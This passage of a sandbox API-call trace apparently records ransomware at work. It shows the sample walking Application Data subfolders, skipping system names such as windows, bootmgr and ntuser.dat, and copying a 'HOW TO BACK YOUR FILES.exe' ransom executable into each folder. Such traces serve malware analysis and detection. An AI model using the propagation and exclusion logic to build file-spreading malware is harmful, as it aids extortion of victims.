"c:\\documents and settings\\all users\\application data\\application data\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.811] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\Application Data\\Application Data\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\application data\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0102.811] GetLastError () returned 0x0 [0102.811] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0102.811] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x546858 [0102.811] ReadFile (in: hFile=0xf4, lpBuffer=0x546858, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x546858*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0102.811] CloseHandle (hObject=0xf4) returned 1 [0102.811] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x546858 | out: hHeap=0x4f0000) returned 1 [0102.811] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0102.811] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\Application Data\\Application Data\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb9e9c2a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xb9e9c2a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0102.811] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.811] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.812] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0102.812] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb9e9c2a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xb9e9c2a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.812] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.812] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.812] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0102.812] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0102.812] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xbc5e2da0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc5e2da0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0102.812] lstrcmpiW (lpString1="Adobe", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.812] lstrcmpiW (lpString1="Adobe", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.812] lstrcmpiW (lpString1="Adobe", lpString2=".") returned 1 [0102.812] lstrcmpiW (lpString1="Adobe", lpString2="..") returned 1 [0102.812] lstrcmpiW (lpString1="Adobe", lpString2="windows") returned -1 [0102.812] lstrcmpiW (lpString1="Adobe", lpString2="bootmgr") returned -1 [0102.812] lstrcmpiW (lpString1="Adobe", lpString2="temp") returned -1 [0102.812] lstrcmpiW (lpString1="Adobe", lpString2="pagefile.sys") returned -1 [0102.812] lstrcmpiW (lpString1="Adobe", lpString2="boot") returned -1 [0102.812] lstrcmpiW (lpString1="Adobe", lpString2="ids.txt") returned -1 [0102.812] lstrcmpiW (lpString1="Adobe", lpString2="ntuser.dat") returned -1 [0102.812] lstrcmpiW (lpString1="Adobe", lpString2="perflogs") returned -1 [0102.812] lstrcmpiW (lpString1="Adobe", lpString2="MSBuild") returned -1 [0102.812] lstrlenW (lpString="Adobe") returned 5 [0102.812] lstrcpyW (in: lpString1=0x241e8d4, lpString2="Adobe" | out: lpString1="Adobe") returned="Adobe" [0102.812] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c5a8 [0102.812] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x98) returned 0x53d9a0 [0102.812] lstrcatW (in: lpString1="Adobe", lpString2="\\" | out: lpString1="Adobe\\") returned="Adobe\\" [0102.812] lstrcatW (in: lpString1="Adobe\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Adobe\\HOW TO BACK YOUR FILES.exe") returned="Adobe\\HOW TO BACK YOUR FILES.exe" [0102.812] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Application Data\\Adobe\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\application data\\adobe\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.813] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0102.813] lstrcmpiW (lpString1="Application Data", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.813] lstrcmpiW (lpString1="Application Data", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0102.813] lstrcmpiW (lpString1="Application Data", lpString2=".") returned 1 [0102.813] lstrcmpiW (lpString1="Application Data", lpString2="..") returned 1 [0102.813] lstrcmpiW (lpString1="Application Data", lpString2="windows") returned -1 [0102.813] lstrcmpiW (lpString1="Application Data", lpString2="bootmgr") returned -1 [0102.813] lstrcmpiW (lpString1="Application Data", lpString2="temp") returned -1 [0102.813] lstrcmpiW (lpString1="Application Data", lpString2="pagefile.sys") returned -1 [0102.813] lstrcmpiW (lpString1="Application Data", lpString2="boot") returned -1 [0102.813] lstrcmpiW (lpString1="Application Data", lpString2="ids.txt") returned -1 [0102.813] lstrcmpiW (lpString1="Application Data", lpString2="ntuser.dat") returned -1 [0102.813] lstrcmpiW (lpString1="Application Data", lpString2="perflogs") returned -1 [0102.813] lstrcmpiW (lpString1="Application Data", lpString2="MSBuild") returned -1 [0102.813] lstrlenW (lpString="Application Data") returned 16 [0102.813] lstrcpyW (in: lpString1=0x241e8d4, lpString2="Application Data" | out: lpString1="Application Data") returned="Application Data" [0102.813] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x5461f0 [0102.813] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xae) returned 0x542ec0 [0102.813] lstrcatW (in: lpString1="Application Data", lpString2="\\" | out: lpString1="Application Data\\") returned="Application Data\\" [0102.814] lstrcatW (in: lpString1="Application Data\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Application Data\\HOW TO BACK YOUR FILES.exe") returned="Application Data\\HOW TO BACK YOUR FILES.exe" [0102.814] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Application Data\\Application Data\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\application data\\application data\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.814] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0102.814] lstrcmpiW (lpString1="Desktop", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.814] lstrcmpiW (lpString1="Desktop", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.814] lstrcmpiW (lpString1="Desktop", lpString2=".") returned 1 [0102.814] lstrcmpiW (lpString1="Desktop", lpString2="..") returned 1 [0102.814] lstrcmpiW (lpString1="Desktop", lpString2="windows") returned -1 [0102.814] lstrcmpiW (lpString1="Desktop", lpString2="bootmgr") returned 1 [0102.814] lstrcmpiW (lpString1="Desktop", lpString2="temp") returned -1 [0102.814] lstrcmpiW (lpString1="Desktop", lpString2="pagefile.sys") returned -1 [0102.814] lstrcmpiW (lpString1="Desktop", lpString2="boot") returned 1 [0102.814] lstrcmpiW (lpString1="Desktop", lpString2="ids.txt") returned -1 [0102.814] lstrcmpiW (lpString1="Desktop", lpString2="ntuser.dat") returned -1 [0102.814] lstrcmpiW (lpString1="Desktop", lpString2="perflogs") returned -1 [0102.814] lstrcmpiW (lpString1="Desktop", lpString2="MSBuild") returned -1 [0102.815] lstrlenW (lpString="Desktop") returned 7 [0102.815] lstrcpyW (in: lpString1=0x241e8d4, lpString2="Desktop" | out: lpString1="Desktop") returned="Desktop" [0102.815] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x546208 [0102.815] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x9c) returned 0x5232c0 [0102.815] lstrcatW (in: lpString1="Desktop", lpString2="\\" | out: lpString1="Desktop\\") returned="Desktop\\" [0102.815] lstrcatW (in: lpString1="Desktop\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Desktop\\HOW TO BACK YOUR FILES.exe") returned="Desktop\\HOW TO BACK YOUR FILES.exe" [0102.815] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Application Data\\Desktop\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\application data\\desktop\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.815] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0102.815] lstrcmpiW (lpString1="Documents", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.815] lstrcmpiW (lpString1="Documents", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.815] lstrcmpiW (lpString1="Documents", lpString2=".") returned 1 [0102.815] lstrcmpiW (lpString1="Documents", lpString2="..") returned 1 [0102.815] lstrcmpiW (lpString1="Documents", lpString2="windows") returned -1 [0102.815] lstrcmpiW (lpString1="Documents", lpString2="bootmgr") returned 1 [0102.815] lstrcmpiW (lpString1="Documents", lpString2="temp") returned -1 [0102.816] lstrcmpiW (lpString1="Documents", lpString2="pagefile.sys") returned -1 [0102.816] lstrcmpiW (lpString1="Documents", lpString2="boot") returned 1 [0102.816] lstrcmpiW (lpString1="Documents", lpString2="ids.txt") returned -1 [0102.816] lstrcmpiW (lpString1="Documents", lpString2="ntuser.dat") returned -1 [0102.816] lstrcmpiW (lpString1="Documents", lpString2="perflogs") returned -1 [0102.816] lstrcmpiW (lpString1="Documents", lpString2="MSBuild") returned -1 [0102.816] lstrlenW (lpString="Documents") returned 9 [0102.816] lstrcpyW (in: lpString1=0x241e8d4, lpString2="Documents" | out: lpString1="Documents") returned="Documents" [0102.816] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x546220 [0102.816] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa0) returned 0x523368 [0102.816] lstrcatW (in: lpString1="Documents", lpString2="\\" | out: lpString1="Documents\\") returned="Documents\\" [0102.816] lstrcatW (in: lpString1="Documents\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Documents\\HOW TO BACK YOUR FILES.exe") returned="Documents\\HOW TO BACK YOUR FILES.exe" [0102.816] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Application Data\\Documents\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\application data\\documents\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.816] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0102.816] lstrcmpiW (lpString1="Favorites", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0102.817] lstrcmpiW (lpString1="Favorites", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.817] lstrcmpiW (lpString1="Favorites", lpString2=".") returned 1 [0102.817] lstrcmpiW (lpString1="Favorites", lpString2="..") returned 1 [0102.817] lstrcmpiW (lpString1="Favorites", lpString2="windows") returned -1 [0102.817] lstrcmpiW (lpString1="Favorites", lpString2="bootmgr") returned 1 [0102.817] lstrcmpiW (lpString1="Favorites", lpString2="temp") returned -1 [0102.817] lstrcmpiW (lpString1="Favorites", lpString2="pagefile.sys") returned -1 [0102.817] lstrcmpiW (lpString1="Favorites", lpString2="boot") returned 1 [0102.817] lstrcmpiW (lpString1="Favorites", lpString2="ids.txt") returned -1 [0102.817] lstrcmpiW (lpString1="Favorites", lpString2="ntuser.dat") returned -1 [0102.817] lstrcmpiW (lpString1="Favorites", lpString2="perflogs") returned -1 [0102.817] lstrcmpiW (lpString1="Favorites", lpString2="MSBuild") returned -1 [0102.817] lstrlenW (lpString="Favorites") returned 9 [0102.817] lstrcpyW (in: lpString1=0x241e8d4, lpString2="Favorites" | out: lpString1="Favorites") returned="Favorites" [0102.817] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x546238 [0102.817] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa0) returned 0x523410 [0102.817] lstrcatW (in: lpString1="Favorites", lpString2="\\" | out: lpString1="Favorites\\") returned="Favorites\\" [0102.817] lstrcatW (in: lpString1="Favorites\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Favorites\\HOW TO BACK YOUR FILES.exe") returned="Favorites\\HOW TO BACK YOUR FILES.exe" [0102.817] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Application Data\\Favorites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\application data\\favorites\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.818] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb9e9c2a0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xb9e9c2a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0102.818] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0102.818] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbc608f00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc608f00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0102.818] lstrcmpiW (lpString1="Microsoft", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.818] lstrcmpiW (lpString1="Microsoft", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.818] lstrcmpiW (lpString1="Microsoft", lpString2=".") returned 1 [0102.818] lstrcmpiW (lpString1="Microsoft", lpString2="..") returned 1 [0102.818] lstrcmpiW (lpString1="Microsoft", lpString2="windows") returned -1 [0102.818] lstrcmpiW (lpString1="Microsoft", lpString2="bootmgr") returned 1 [0102.818] lstrcmpiW (lpString1="Microsoft", lpString2="temp") returned -1 [0102.818] lstrcmpiW (lpString1="Microsoft", lpString2="pagefile.sys") returned -1 [0102.818] lstrcmpiW (lpString1="Microsoft", lpString2="boot") returned 1 [0102.818] lstrcmpiW (lpString1="Microsoft", lpString2="ids.txt") returned 1 [0102.818] lstrcmpiW (lpString1="Microsoft", lpString2="ntuser.dat") returned -1 [0102.818] lstrcmpiW (lpString1="Microsoft", lpString2="perflogs") returned -1 [0102.818] lstrcmpiW (lpString1="Microsoft", lpString2="MSBuild") returned -1 [0102.818] lstrlenW (lpString="Microsoft") returned 9 [0102.818] lstrcpyW (in: lpString1=0x241e8d4, lpString2="Microsoft" | out: lpString1="Microsoft") returned="Microsoft" [0102.818] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x546250 [0102.818] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa0) returned 0x5234b8 [0102.818] lstrcatW (in: lpString1="Microsoft", lpString2="\\" | out: lpString1="Microsoft\\") returned="Microsoft\\" [0102.818] lstrcatW (in: lpString1="Microsoft\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Microsoft\\HOW TO BACK YOUR FILES.exe") returned="Microsoft\\HOW TO BACK YOUR FILES.exe" [0102.818] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Application Data\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\application data\\microsoft\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.819] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe79db030, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xc4b2fda0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4b2fda0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Help", cAlternateFileName="MICROS~2")) returned 1 [0102.819] lstrcmpiW (lpString1="Microsoft Help", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.819] lstrcmpiW (lpString1="Microsoft Help", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.819] lstrcmpiW (lpString1="Microsoft Help", lpString2=".") returned 1 [0102.819] lstrcmpiW (lpString1="Microsoft Help", lpString2="..") returned 1 [0102.819] lstrcmpiW (lpString1="Microsoft Help", lpString2="windows") returned -1 [0102.819] lstrcmpiW (lpString1="Microsoft Help", lpString2="bootmgr") returned 1 [0102.819] lstrcmpiW (lpString1="Microsoft Help", lpString2="temp") returned -1 [0102.819] lstrcmpiW (lpString1="Microsoft Help", lpString2="pagefile.sys") returned -1 [0102.819] lstrcmpiW (lpString1="Microsoft Help", lpString2="boot") returned 1 [0102.819] lstrcmpiW (lpString1="Microsoft Help", lpString2="ids.txt") returned 1 [0102.819] lstrcmpiW (lpString1="Microsoft Help", lpString2="ntuser.dat") returned -1 [0102.819] lstrcmpiW (lpString1="Microsoft Help", lpString2="perflogs") returned -1 [0102.819] lstrcmpiW (lpString1="Microsoft Help", lpString2="MSBuild") returned -1 [0102.819] lstrlenW (lpString="Microsoft Help") returned 14 [0102.819] lstrcpyW (in: lpString1=0x241e8d4, lpString2="Microsoft Help" | out: lpString1="Microsoft Help") returned="Microsoft Help" [0102.819] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x546268 [0102.819] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xaa) returned 0x542f78 [0102.819] lstrcatW (in: lpString1="Microsoft Help", lpString2="\\" | out: lpString1="Microsoft Help\\") returned="Microsoft Help\\" [0102.820] lstrcatW (in: lpString1="Microsoft Help\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Microsoft Help\\HOW TO BACK YOUR FILES.exe") returned="Microsoft Help\\HOW TO BACK YOUR FILES.exe" [0102.820] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Application Data\\Microsoft Help\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\application data\\microsoft help\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.820] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbc62f060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc62f060, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mozilla", cAlternateFileName="")) returned 1 [0102.820] lstrcmpiW (lpString1="Mozilla", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.820] lstrcmpiW (lpString1="Mozilla", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.820] lstrcmpiW (lpString1="Mozilla", lpString2=".") returned 1 [0102.820] lstrcmpiW (lpString1="Mozilla", lpString2="..") returned 1 [0102.820] lstrcmpiW (lpString1="Mozilla", lpString2="windows") returned -1 [0102.820] lstrcmpiW (lpString1="Mozilla", lpString2="bootmgr") returned 1 [0102.820] lstrcmpiW (lpString1="Mozilla", lpString2="temp") returned -1 [0102.820] lstrcmpiW (lpString1="Mozilla", lpString2="pagefile.sys") returned -1 [0102.820] lstrcmpiW (lpString1="Mozilla", lpString2="boot") returned 1 [0102.820] lstrcmpiW (lpString1="Mozilla", lpString2="ids.txt") returned 1 [0102.820] lstrcmpiW (lpString1="Mozilla", lpString2="ntuser.dat") returned -1 [0102.820] lstrcmpiW (lpString1="Mozilla", lpString2="perflogs") returned -1 [0102.821] lstrcmpiW (lpString1="Mozilla", lpString2="MSBuild") returned -1 [0102.821] lstrlenW (lpString="Mozilla") returned 7 [0102.821] lstrcpyW (in: lpString1=0x241e8d4, lpString2="Mozilla" | out: lpString1="Mozilla") returned="Mozilla" [0102.821] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x546280 [0102.821] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x9c) returned 0x523560 [0102.821] lstrcatW (in: lpString1="Mozilla", lpString2="\\" | out: lpString1="Mozilla\\") returned="Mozilla\\" [0102.821] lstrcatW (in: lpString1="Mozilla\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Mozilla\\HOW TO BACK YOUR FILES.exe") returned="Mozilla\\HOW TO BACK YOUR FILES.exe" [0102.821] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Application Data\\Mozilla\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\application data\\mozilla\\how to back your files.exe"), bFailIfExists=1) returned 0 [0102.821] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e3c6d00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xbc62f060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc62f060, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Oracle", cAlternateFileName="")) returned 1 [0102.821] lstrcmpiW (lpString1="Oracle", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0102.821] lstrcmpiW (lpString1="Oracle", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0102.821] lstrcmpiW (lpString1="Oracle", lpString2=".") returned 1 [0102.821] lstrcmpiW (lpString1="Oracle", lpString2="..") returned 1 [0102.822] lstrcmpiW (lpString1="Oracle", lpString2="windows") returned -1 [0102.822] lstrcmpiW (lpString1="Oracle", lpString2="bootmgr") returned 1 [0102.822] lstrcmpiW (lpString1="Oracle", lpString2="temp") returned -1 [0102.822] lstrcmpiW (lpString1="Oracle", lpString2="pagefile.sys") returned -1 [0102.822] lstrcmpiW (lpString1="Oracle", lpString2="boot") returned 1 [0102.822] lstrcmpiW (lpString1="Oracle", lpString2="ids.txt") returned 1 [0102.822] lstrcmpiW (lpString1="Oracle", lpString2="ntuser.dat") returned 1 [0102.822] lstrcmpiW (lpString1="Oracle", lpString2="perflogs") returned -1 [0102.822] lstrcmpiW (lpString1="Oracle", lpString2="MSBuild") returned 1 [0102.822] lstrlenW (lpString="Oracle") returned 6 [0102.822] lstrcpyW (in: lpString1=0x241e8d4, lpString2="Oracle" | out: lpString1="Oracle") returned="Oracle" [0102.822] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x546298 [0102.822] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x9a) returned 0x523608 [0102.822] lstrcatW (in: lpString1="Oracle", lpString2="\\" | out: lpString1="Oracle\\") returned="Oracle\\" [0102.822] lstrcatW (in: lpString1="Oracle\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Oracle\\HOW TO BACK YOUR FILES.exe") returned="Oracle\\HOW TO BACK YOUR FILES.exe" [0102.822] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\Application Data\\Oracle\\HOW TO BACK YOUR FILES.exe" (normalized: 